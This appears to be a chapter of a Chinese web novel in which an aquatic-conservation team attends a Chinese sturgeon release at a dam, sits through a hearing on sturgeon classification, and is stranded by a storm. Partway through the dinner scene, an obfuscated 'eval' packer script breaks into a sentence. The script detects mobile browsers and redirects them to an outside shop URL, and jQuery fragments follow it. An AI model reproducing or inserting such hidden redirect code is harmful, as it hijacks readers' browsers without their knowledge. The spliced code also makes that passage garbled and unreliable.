18. 风云
作品:《毛茸茸扫黑在行动》 李长安在鳞次栉比的话筒前面不改色,笑着说道:“舟歌大坝是江淮重要的水利工程项目之一,为江淮人民的民生幸福做出巨大贡献,作为一名江淮人民,我为它的建成感到骄傲。”
记者不依不饶的问道:“据我所知,舟歌坝建立在中华鲟的洄游河道上,作为一名水生动物保护人员,您又是怎么看待它的呢?”
李长安正欲开口,李长平便一把夺过话筒,说:“这里是水生动保中心内的活动,没有邀请函禁止入内,诸位请不要扰乱现场秩序。”
随着他的话音落下,其余安保人员也拥上前,将不挠向前的记者们“请”回了线外。
李长安面对记者尖锐的提问,尚且面色和善,有条不紊的回答。可当他看见李长平的那一刻,脸上的和蔼的面具一僵,露出几分不耐。
只是那不过一瞬,他随即又和周围的人热络起来,继续同他们谈笑风生。
记者的到来仿佛只是一个小小的插曲,随着礼宾音乐的响起,中华鲟放流活动即将开始。
李长安将一位穿着黑夹克的领导请到舞台中-央,说:“郑科长,这个把握全局的按钮,就交到您的手上了。”
台上又是一阵其乐融融的礼让,最终,那个被称为郑科长的人站到演讲台前,正式宣布:“开闸放流!”
蓝色的橡胶鱼池上开了一个小口,连接上一个坡度极小的水滑梯。
不同生长期的鲟鱼被依次放进鱼池中,最后再顺着同一个水滑梯,流入江河。
四处都是欢庆的声音,陈沐风趁众人鼓掌之际,打开手机,将应用界面上的小鸟头像切换成小鱼头像。
不出所料,她听到了一阵不属于人类的声音。
中华鲟的智商不如鸟类聪明,它们发出的声音大多是断断续续的音节,组成不了完整的句子。
陈沐风仔细聆听,发现它们好像在重复着一个词。
“独居……独居安”
什么独居?
周围人声鼎沸,陈沐风找了一个安静的角落,蹲在河堤边缘,如同呓语一般的声音传入她的耳中。
“杜鹃……杜鹃”
杜鹃鸟吗?
陈沐风抬起头,仰望天空,天空一片蔚蓝,树影葱葱,却不见鸟类的踪迹。
她按下心底的疑惑,和来宾们一同欢声笑语,迎接活动。
当天下午,闽东一行人作为地方代表,参加了长江自然保护条例的听证会。
会议依旧开设在之前的那个大厅,主讲人却换成了郑科长。
陈沐风暗地里在浏览器上搜了一下这个人的名字。
郑成功,淮南县水利局副科长。
她扯了扯嘴角,放下手机,有了昨天的教训,她不敢再那般造次,认真的听起了会议。
“本次会议的主要议题是中华鲟的命名问题,鲟鱼的概念是从欧洲引进的。彼时,中华鲟又被称为达氏鲟,而后虽然有科学研究表明这两种鲟鱼在形状上有细微差别,但是由于中华鲟在生长过程中的形状变化较大,所以一直没能很好的区分开。”
陈沐风摩梭着下巴,低头沉思。
达氏鲟的保护等级要比中华鲟更低一级,不如中华鲟濒危。
“现如今,根据李长安教授的最新研究成果,主张将侧骨板颜色均匀变化的大型鲟鱼分类为中华鲟,侧骨板颜色鲜明分界的小型鲟鱼分类为达氏鲟。”
陈沐风在会议室里坐了一下午,坐的屁-股生疼,站起来时腰椎骨咔咔作响。
而会议才堪堪结束。
刘马也是没有一点担当,眼见会议即将结束,连忙冲到后排,将茶歇上好吃的点心塞进塑料袋里,就拽上陈沐风和邵泉先行回了酒店,只留王映红一人留在会场,同一群老学究们社交。
王映红早有所里,在一众学者面前应付的游刃有余,在喘气之余,还不忘分出神狠狠剜刘马一眼。
陈沐风用门卡刷开房门,想睡个回笼觉,却没找到从家里带来的蒸汽眼罩。
她在房间里翻找了一圈,一无所获,只好将邵泉列为怀疑对象,多半是他收拾东西的时候将眼罩收走了。
她闲庭信步的走到隔壁房间门口,叩了叩房门。
门微微张开了一条缝,里面静悄悄的。
陈沐风站在门外大声问:“刘主任?”
无人应答。
“邵泉?”
依旧是寂静无声。
陈沐风挠了挠头发,宣布道:“没人我就进去了啊。”
她刚推开门,就看见蒸汽眼罩放在鞋柜上。
陈沐风拿了正要走,便看见一副熟悉的界面。
邵泉的电脑亮着。
本着不能随意窥-探他人隐私的想法,陈沐风本来并没有想看里面的内容。
可是这个界面她太熟悉了,正是她玩了多年的游戏。
她只瞄一眼,就知道游戏停留在哪里。
是农场主给npc送花的界面,这个账号明显是刚开始玩,在路上随便捡了一个垃圾就送给山姆,最后惨遭npc的嫌弃。
她看了一眼送出的物品——黄水仙。
陈沐风噗嗤一笑,转身欲要离开,却刚好对上进门的邵泉。
她连忙抿住嘴角,不让笑意泄出。
“星露谷好玩吗?”
邵泉僵着脸按合电脑屏幕,说:“一点都不好玩!”
“哈哈哈哈哈。”
陈沐风身上的瞌睡虫消失的无影无踪,她搬了个椅子坐在他旁边,毫不见外的拿起他的鼠标,“让我这个三年资深老农民来教你吧,小白同志。”
自大学毕业后,陈沐风已经许久没碰过电脑游戏,两人坐在电脑前,直到刘马进门叫他们吃饭,她才恋恋不舍的离开电脑屏幕。
陈沐风跟在刘马身后走进了电梯,注意到他肩领上的水渍,又停住了脚步,返回房间。
邵泉按住电梯,问:“下雨了?”
刘马靠在电梯墙壁上,打开手机的天气预报,“是啊,你俩急匆匆从闽东赶过来,带伞没有。”
邵泉摇头。
刘马呲个大牙,幸灾乐祸道:“我和你王主任都只带了一把伞,你俩怎么办?”
陈沐风出现在走廊尽头,晃了晃右手,摊开掌心,赫然是一把黑色的雨伞,“刚从你房间拿的,谢谢刘主任。”
等到了酒店餐厅时,王映红早已等候他们多时。
虽然主办方提供的房间的确有些吝啬,可在餐食方面却没有亏待各位来宾。
酒店的提供的晚餐是自助式的,龙虾螃蟹琳琅满目,看的陈沐风口水都要提溜下来。
“这些真的是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936791|192701||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我们能吃的吗?”
邵泉夹了个螃蟹放到她的餐盘里,说:“江淮特产,现在要是不吃,过季就放臭了。”
餐厅内灯火通明,温暖的黄光透过玻璃融进细雨中。
陈沐风正坐在桌子上,和面前的螃蟹较劲。
她啃了半天的螃蟹腿,最终也只有寥寥几片肉落入肚子,她靠在落地窗边,抱怨道:“好东西就算递到我面前,我都不会吃,我就是天生吃泡面的命。”
邵泉实在看不下去,把自己的碗推到她面前,“你吃我这碗。”
陈沐风两眼放光的看着自己面前那碗剥净蟹壳的蟹肉,不可置信道:“真的都给我吗?”
邵泉已经拿起了下一盘螃蟹,慢条斯理的将肉剃到碗里,说:“真的都给你。”
酒店外的雨越下越大,天空中时不时划过一道闪电。
闪电过后是一声惊雷,陈沐风靠在椅背上,侧头远眺,“好大的雨啊,不会有洪水吧。”
刘马正好端着餐盘回到座位,说:“瞎说什么呢,那都是多少年前的事情了,现在修了这么多水坝,哪有那么容易闹洪灾。”
夜色渐深,餐厅内的灯光暗了下来,楼宇中的小方格相继熄灭,整个城市缓缓合上了眼睛,只剩雨还一直在下。
第二天,天蒙蒙亮,陈沐风就睁开了眼睛。
昨晚她睡在靠窗的一侧,雨水敲打窗户的声音吵的她难以入眠。
不过幸好,今天就能回家了。
这次四个人统一订了早上的航班,行李早就已经收拾好了,陈沐风顶着熊猫眼起床洗漱。
等她和王映红都洗漱完了后,她才猛地拉开窗帘,外面的天灰蒙蒙的,一场暴雨将落未落。
王映红敷着面膜,含糊的坐在床上说:“小陈啊,你收到航班延迟短信了吗?”
陈沐风拿起手机,航空公司的短信赫然在最新消息中-出现了。
她无奈的放下手机,说:“刚刚收到的。”
与此同时,他们的房间门也被敲响,是拖着行李箱整装待发的邵泉。
他将手机举到陈沐风跟前,平静的说:“飞机延迟了。”
几人在酒店中等了半天,航班延迟的短信一条接一条的发到他们的手机上,最后发来了航班取消的通知。
陈沐风瘫倒在酒店的软床上,崩溃的说:“我的店啊,我的营业额,谁来赔我点钱呢。”
装修师傅昨天恰好给她发来短信,说店内已经装修完了,按照计划,今天下午她应该出现在闽东郊区的水产批发市场,为店里的小水族馆添砖加瓦,现在一切都泡汤了。
似乎是在回应她的抱怨一般,不远处的一道亮光闪过,一声惊雷在仿佛就在她的耳边炸开。
陈沐风吓了一跳,赶忙立正收声。
许荣显是舟歌大坝的巡检员,即将步入夏季,江淮的雨水也多了起来,他的排班一周比一周提前。
他打着哈欠在大坝内检查,长筒防水靴敲击地面的回音在大坝内部清晰可闻。
嗒——
跳闸了?
许荣显揉了揉眼睛,强打精神快走了几步,停在一个送电箱前。
他拿起手电,用钥匙打开铁皮门,看了一眼电箱底下乱七八糟的走线,最终将目光移动到电闸上,嘟囔了一句,“怎么又跳闸了。”

